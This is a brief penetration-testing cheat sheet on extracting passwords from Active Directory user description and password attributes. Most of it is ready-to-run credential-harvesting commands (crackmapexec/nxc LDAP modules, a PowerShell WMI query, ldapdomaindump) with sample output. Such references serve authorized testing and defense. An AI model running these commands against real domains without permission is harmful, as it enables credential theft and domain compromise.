PenTest – Password – AD User Comment

There are 3-4 fields that seem to be common in most Active Directory schemas: UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

• Password in User Description

  crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
  crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
  GET-DESC... 10.0.2.11       389    dc01    [+] Found following users: 
  GET-DESC... 10.0.2.11       389    dc01    User: Guest description: Built-in account for guest access to the computer/domain
  GET-DESC... 10.0.2.11       389    dc01    User: krbtgt description: Key Distribution Center Service Account
  

   

• Get unixUserPassword attribute from all users in ldap

  nxc ldap 10.10.10.10 -u user -p pass -M get-unixUserPassword -M getUserPassword
  

   

• Native Powershell command

  Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
  

   

• Dump the Active Directory and grep the content.

  ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/